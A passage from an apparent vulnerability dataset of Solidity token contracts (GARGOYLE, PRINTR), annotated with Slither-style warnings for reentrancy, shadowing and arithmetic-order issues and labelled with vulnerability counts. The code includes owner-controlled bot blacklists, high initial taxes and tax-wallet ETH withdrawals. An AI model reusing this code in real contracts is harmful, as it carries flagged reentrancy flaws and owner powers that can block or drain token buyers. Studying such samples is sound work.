_tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: b9d06f5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 39710b1): GARGOYLE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 39710b1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3c92a8d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3c92a8d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 17da0fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 17da0fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3c92a8d\n\t\t// reentrancy-benign | ID: 17da0fe\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3c92a8d\n\t\t// reentrancy-benign | ID: 17da0fe\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 95a8428): GARGOYLE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 95a8428: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 17da0fe\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3c92a8d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 96a62aa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 96a62aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f57cccf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f57cccf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 96a62aa\n\t\t\t\t// reentrancy-eth | ID: f57cccf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 96a62aa\n\t\t\t\t\t// reentrancy-eth | ID: f57cccf\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f57cccf\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f57cccf\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f57cccf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 96a62aa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f57cccf\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f57cccf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 96a62aa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 96a62aa\n\t\t// reentrancy-events | ID: 3c92a8d\n\t\t// reentrancy-benign | ID: 17da0fe\n\t\t// reentrancy-eth | ID: f57cccf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 96a62aa\n\t\t// reentrancy-events | ID: 3c92a8d\n\t\t// reentrancy-eth | ID: f57cccf\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5f50fae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5f50fae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d3515ac): GARGOYLE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d3515ac: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7ab73ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7ab73ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5f50fae\n\t\t// unused-return | ID: d3515ac\n\t\t// reentrancy-eth | ID: 7ab73ff\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5f50fae\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7ab73ff\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10589.sol",
"size_bytes": 21999,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a7bb18a): PRINTR.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for a7bb18a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d068383): PRINTR.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for d068383: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a897571): PRINTR.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for a897571: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fc95bef): PRINTR.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for fc95bef: Consider ordering multiplication before division.\ncontract PRINTR is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: aacfd71): PRINTR._taxWallet should be immutable \n\t// Recommendation for aacfd71: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1733776): PRINTR._initialBuyTax should be constant \n\t// Recommendation for 1733776: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f120eed): PRINTR._initialSellTax should be constant \n\t// Recommendation for f120eed: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 872c6b7): PRINTR._finalBuyTax should be constant \n\t// Recommendation for 872c6b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: f041550): PRINTR._finalSellTax should be constant \n\t// Recommendation for f041550: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e2388a): PRINTR._reduceBuyTaxAt should be constant \n\t// Recommendation for 7e2388a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2eabb0): PRINTR._reduceSellTaxAt should be constant \n\t// Recommendation for f2eabb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7f0f07): PRINTR._preventSwapBefore should be constant \n\t// Recommendation for e7f0f07: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Print Ether\";\n\n string private constant _symbol = unicode\"PRINTR\";\n\n\t// divide-before-multiply | ID: d068383\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: a897571\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 59eff7a): PRINTR._taxSwapThreshold should be constant \n\t// Recommendation for 59eff7a: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: a7bb18a\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e58502f): PRINTR._maxTaxSwap should be constant \n\t// Recommendation for e58502f: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: fc95bef\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xD5306b0B5b53ea437E8a48D98637ACFbF146e85f);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a58fa98): PRINTR.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a58fa98: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c033105): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c033105: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ac392b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ac392b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c033105\n\t\t// reentrancy-benign | ID: ac392b5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c033105\n\t\t// reentrancy-benign | ID: ac392b5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aafc11c): PRINTR._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aafc11c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ac392b5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c033105\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 32ebe8e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 32ebe8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 48cf2cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 48cf2cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 10, \"Only 10 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 32ebe8e\n\t\t\t\t// reentrancy-eth | ID: 48cf2cf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 32ebe8e\n\t\t\t\t\t// reentrancy-eth | ID: 48cf2cf\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 48cf2cf\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 48cf2cf\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 48cf2cf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 32ebe8e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 48cf2cf\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 48cf2cf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 32ebe8e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c033105\n\t\t// reentrancy-events | ID: 32ebe8e\n\t\t// reentrancy-benign | ID: ac392b5\n\t\t// reentrancy-eth | ID: 48cf2cf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c033105\n\t\t// reentrancy-events | ID: 32ebe8e\n\t\t// reentrancy-eth | ID: 48cf2cf\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 87a2df0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 87a2df0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 61e2d4e): PRINTR.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 61e2d4e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3ffae7d): PRINTR.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3ffae7d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 70a2e9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 70a2e9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 87a2df0\n\t\t// reentrancy-eth | ID: 70a2e9e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 87a2df0\n\t\t// unused-return | ID: 3ffae7d\n\t\t// reentrancy-eth | ID: 70a2e9e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 87a2df0\n\t\t// unused-return | ID: 61e2d4e\n\t\t// reentrancy-eth | ID: 70a2e9e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 87a2df0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 70a2e9e\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1059.sol",
"size_bytes": 21539,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function 